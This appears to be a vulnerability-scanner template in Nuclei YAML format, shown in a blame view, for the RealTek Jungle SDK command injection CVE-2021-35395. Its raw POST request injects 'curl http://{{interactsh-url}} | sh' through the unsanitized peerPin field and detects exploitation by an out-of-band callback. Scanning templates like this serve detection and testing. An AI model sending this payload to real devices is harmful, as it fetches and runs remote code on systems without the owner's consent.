2023-10-05 16:21:04 +00:00
|
|
|
id: CVE-2021-35395
|
|
|
|
info:
|
|
|
|
name: RealTek Jungle SDK - Arbitrary Command Injection
|
|
|
|
author: king-alexander
|
|
|
|
severity: critical
|
|
|
|
description: There is a command injection vulnerability on the "formWsc" page of the management interface.
|
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35395
|
|
|
|
- https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
|
|
|
|
tags: cve,kev
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
2023-10-05 16:41:33 +00:00
|
|
|
- |
|
2023-10-05 16:21:04 +00:00
|
|
|
POST /goform/formWsc HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
# The 'peerPin' parameter is unsanitized. So we can inject arbitrary commands after the statement that uses the 'peerPin' value.
|
2023-10-05 16:41:33 +00:00
|
|
|
submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=
|
2023-10-05 16:21:04 +00:00
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
|
|
|
- "http"
|